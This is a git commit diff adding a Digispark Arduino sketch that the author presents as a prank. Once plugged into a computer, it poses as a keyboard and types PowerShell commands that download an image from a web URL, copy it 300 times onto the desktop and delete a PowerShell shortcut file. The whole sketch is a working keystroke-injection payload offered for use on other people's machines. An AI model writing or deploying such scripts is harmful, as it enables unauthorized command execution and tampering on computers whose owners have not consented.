Create Breadstick.ino
This commit is contained in:
parent
6e770fe5d7
commit
153361a9ab
|
@ -0,0 +1,35 @@
|
|||
// Fun little script to mess with your friends.
|
||||
// Opens a powershell instance that downloads a picture of a breadstick (or any other picture that you can download via a link) and copy/pastes it 300 times to the desktop.
|
||||
// The number of duplications can be chaged by editing the number on line 26 in the "foreach($number in 1..300)" where the number of duplications would be 300
|
||||
|
||||
#include "DigiKeyboard.h"
|
||||
|
||||
void setup() {
|
||||
DigiKeyboard.sendKeyStroke(0);
|
||||
DigiKeyboard.sendKeyStroke(KEY_H,MOD_ALT_LEFT);
|
||||
DigiKeyboard.delay(10);
|
||||
DigiKeyboard.print("W");
|
||||
DigiKeyboard.delay(10);
|
||||
DigiKeyboard.print("S");
|
||||
DigiKeyboard.delay(300);
|
||||
DigiKeyboard.print("powershell");
|
||||
DigiKeyboard.delay(300);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print("Invoke-WebRequest https://www.iheartnaptime.net/wp-content/uploads/2019/01/breadsticks-recipe.jpg -OutFile ~/Desktop/breadstick.jpg");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print("foreach($number in 1..300) { Copy-Item '~/Desktop\\breadstick.jpg' -Destination ""~/Desktop\\breadstick$number.jpg""}");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print("Remove-Item ~/Desktop\\powershell.lnk");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print("exit");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);}
|
||||
|
||||
void loop() { }
|
Loading…
Reference in New Issue